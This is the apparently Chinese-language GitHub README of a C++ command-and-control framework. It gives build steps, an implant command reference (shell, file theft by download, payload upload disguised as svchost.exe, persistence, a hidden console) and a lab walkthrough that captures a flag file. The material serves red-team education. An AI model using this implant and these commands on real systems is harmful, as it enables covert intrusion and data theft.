Ch4120N/Ch4120N-SimpleC2
GitHub: Ch4120N/Ch4120N-SimpleC2
一个基于 C++17 的跨平台 C2 框架,专为安全教育和红队模拟设计,提供类 Metasploit 的多会话管理界面和完整的远程控制功能。
Stars: 0 | Forks: 0
🔱 Ch4120N Simple C2
A cross‑platform Command & Control framework for security education and red‑team simulation.
## ⚠️ 免责声明
**本软件专为教育目的和授权的安全测试而设计。
未经明确许可,擅自对您不拥有的系统进行测试是非法的。
作者不对因滥用此工具而造成的任何误用或损害负责。**
## ✨ 功能
- **🌍 跨平台** – 无需修改即可在 **Windows**、**Linux** 和 **macOS** 上运行。
- **🔗 多客户端支持** – 管理数十个并发会话。
- **💻 类 Metasploit 界面** – 熟悉的 `sessions`、`use`、`shell` 和 `background` 命令。
- **🔐 XOR 加密** – 简单的流量混淆(可自定义密钥)。
- **📂 完整的文件系统操作** – `download`、`upload`、`cat`、`rm`、`mv`、`cp`、`mkdir`、`touch`。
- **⚙️ 进程与网络控制** – `ps`、`killproc`、`netinfo`。
- **🔍 侦察工具** – `sysinfo`、`hash`、`search`、`env`、`id`、`info`。
- **🗜️ 存档创建** – 直接在远程主机上执行 `zip` / `unzip`。
- **🔄 持久化客户端** – 具有可配置的重试延迟的自动重连。
- **🛡️ 隐蔽模式** – 客户端可以隐藏其控制台窗口。
- **📂 动态 `cd`** – **持久化**更改工作目录,并更新提示符。
- **📁 可选的传输目标路径** – `download remote [local]`、`upload local [remote]`。
- **🧰 交互式 shell** – 具有实时提示符的完整类 TTY 体验。
- **🎯 智能命令转换** – 在 Windows 上自动映射 `ls` → `dir`、`ps` → `tasklist` 等。
- **🖥️ 良好的信号处理** – Ctrl+C 不会终止服务器。
## 🚀 快速开始
### 前置条件
- **CMake** ≥ 3.10
- C++17 编译器 (GCC, Clang, MSVC, MinGW)
- Windows: MinGW 或 Visual Studio
- Linux/macOS: build-essential / Xcode
### 从源码编译
```
git clone https://github.com/Ch4120N/Ch4120N-SimpleC2.git
cd Ch4120N-SimpleC2
mkdir build && cd build
cmake .. # or cmake -G "MinGW Makefiles" .. on Windows/MinGW
cmake --build .
```
成功构建后,您将获得两个可执行文件:
- `ch4120n_server` – C2 服务器(指挥中心)
- `ch4120n_client` – 植入程序 / 客户端
### 运行服务器
```
./ch4120n_server # default port 4444
```
服务器提示符如下所示:
```
root@Ch4120N-C2: ~#
```
### 部署客户端
在目标机器上(仅出于培训目的,在您自己的实验环境中),运行:
```
ch4120n_client
[PORT]
```
示例:
```
ch4120n_client 192.168.1.100 4444
```
客户端将静默连接,并默认每 5 秒重试一次。
## 🕹️ 命令参考
### 全局命令
| 命令 | 描述 |
|---------|-------------|
| `help` / `?` | 显示完整命令列表 |
| `list` / `sessions` | 显示所有已连接的会话 |
| `use ` / `sessions -i ` | 选择一个会话进行交互 |
| `sessions -k ` | 终止(结束)一个会话 |
| `background` | 取消选择当前会话,返回主菜单 |
| `clear` / `cls` | 清除屏幕 |
| `exit` | 优雅地关闭 C2 服务器 |
### 会话命令(在执行 `use ` 之后)
| 命令 | 描述 | 示例 |
|---------|-------------|---------|
| `shell` | 进入交互式 shell(提示符显示远程 cwd) | `shell` |
| `exec ` | 运行单条命令并显示输出 | `exec ipconfig` |
| `cd ` | 更改远程工作目录(持久化) | `cd C:\Users` |
| `pwd` / `cwd` | 显示当前远程目录 | `pwd` |
| `info` | 显示会话详情(OS、用户、主机名、cwd) | `info` |
| `ps` | 列出正在运行的进程(自动跨平台) | `ps` |
| `ls` | 列出目录内容(在 Windows 上为 `dir`) | `ls` |
| `cat ` | 显示文件内容 | `cat secret.txt` |
| `rm` / `del ` | 删除文件 | `rm malware.exe` |
| `mkdir ` | 创建目录 | `mkdir tools` |
| `mv ` | 移动 / 重命名文件 | `mv old.txt new.txt` |
| `cp ` | 复制文件 | `cp payload.exe ..\` |
| `touch ` | 创建空文件 / 更新时间戳 | `touch log.dat` |
| `killproc ` | 通过 PID 终止进程 | `killproc 1337` |
| `netinfo` | 显示网络适配器 / IP 配置 | `netinfo` |
| `id` / `whoami` | 打印当前用户 | `id` |
| `sysinfo` | 显示 OS、主机名和用户 | `sysinfo` |
| `download [local]` | 下载文件(别名 `get`) | `download C:\secret.txt .\copy.txt` |
| `upload [remote]` | 上传文件(别名 `put`) | `upload payload.exe C:\Windows\Temp\svchost.exe` |
| `sleep ` | 设置客户端重连延迟 | `sleep 10` |
| `hash ` | 计算文件哈希(在 Windows 上为 SHA256,在 Linux 上为 sha256sum/md5sum) | `hash secret.bin` |
| `search ` | 递归搜索文件 | `search *.docx` |
| `env` | 显示环境变量 | `env` |
| `zip ` | 创建存档(在 Windows 上使用 PowerShell,在 Unix 上使用 tar) | `zip backup.zip *.txt` |
| `unzip ` | 提取存档 | `unzip backup.zip` |
| `kill` | 终止当前选定的会话 | `kill` |
### 交互式 Shell
进入 `shell` 后,您将在一个完全交互式的远程终端中进行操作。
提示符将更改为:
```
root@Ch4120N-C2: /sessions/1@TARGET-PC:C:\Users\Victim #
```
您可以像在本地终端上一样输入任何原生 OS 命令并使用 `cd`。
输入 `exit`(或按 Ctrl+C)可返回服务器的会话菜单。
## 🧬 协议与安全
- **加密**:所有数据均使用静态密钥(`Ch4120N!SimpleC2`)进行 XOR 加密。您可以在 `common.h` 中更改它。
- **协议**:长度前缀消息(`int32_t` 长度 + payload)。
- **文件传输**:使用相同的 XOR 加密通道,文件分块流式传输。
- **限制**:每个客户端单线程;没有公钥加密。这是为了透明度和学习而有意为之。**不要依赖它进行实际操作。**
## 🧪 实验环境示例
1. **攻击者机器** (192.168.1.100):
./ch4120n_server
2. **受害者机器** (Windows 10 实验环境):
ch4120n_client.exe 192.168.1.100 4444
3. **攻击者控制台**:
root@Ch4120N-C2: ~# list
[1] 192.168.1.50:49152 (Windows)
root@Ch4120N-C2: ~# use 1
root@Ch4120N-C2: /sessions/1 (C:\Users\Victim)~# info
Session : 1
Hostname : WIN10-LAB
OS : Windows
User : victim
Directory : C:\Users\Victim
root@Ch4120N-C2: /sessions/1 (C:\Users\Victim)~# shell
[*] Entering shell mode.
root@Ch4120N-C2: /sessions/1@WIN10-LAB:C:\Users\Victim # whoami
victim
root@... # cd C:\Windows\Temp
root@... # cp C:\Users\Victim\flag.txt .
root@... # exit
root@...: /sessions/1 (C:\Windows\Temp)~# download flag.txt ./captured_flag.txt
[+] Downloaded 42 bytes -> ./captured_flag.txt
root@...: /sessions/1 (C:\Windows\Temp)~# sessions -k 1
[*] Session 1 killed.
## 📁 项目结构
```
Ch4120N-SimpleC2/
├── CMakeLists.txt
├── .gitignore
├── LICENSE
├── README.md
└── src/
├── common.h # Cross‑platform abstractions, XOR, protocol helpers
├── server.cpp # Multi‑client C2 server with interactive CLI
└── client.cpp # Persistent implant with full command set
```
## 📜 许可证
本项目基于 **GPLv3 许可证**授权 – 详情请参阅 [LICENSE](LICENSE) 文件。
由 Ch4120N 采用 ❤️ 构建 – 献给安全教育社区。
标签:Bash脚本, C++, C2框架, Gophish, HTTP工具, IP 地址批量处理, 安全学习资源, 安全意识培训, 安全教学, 数据擦除, 网络信息收集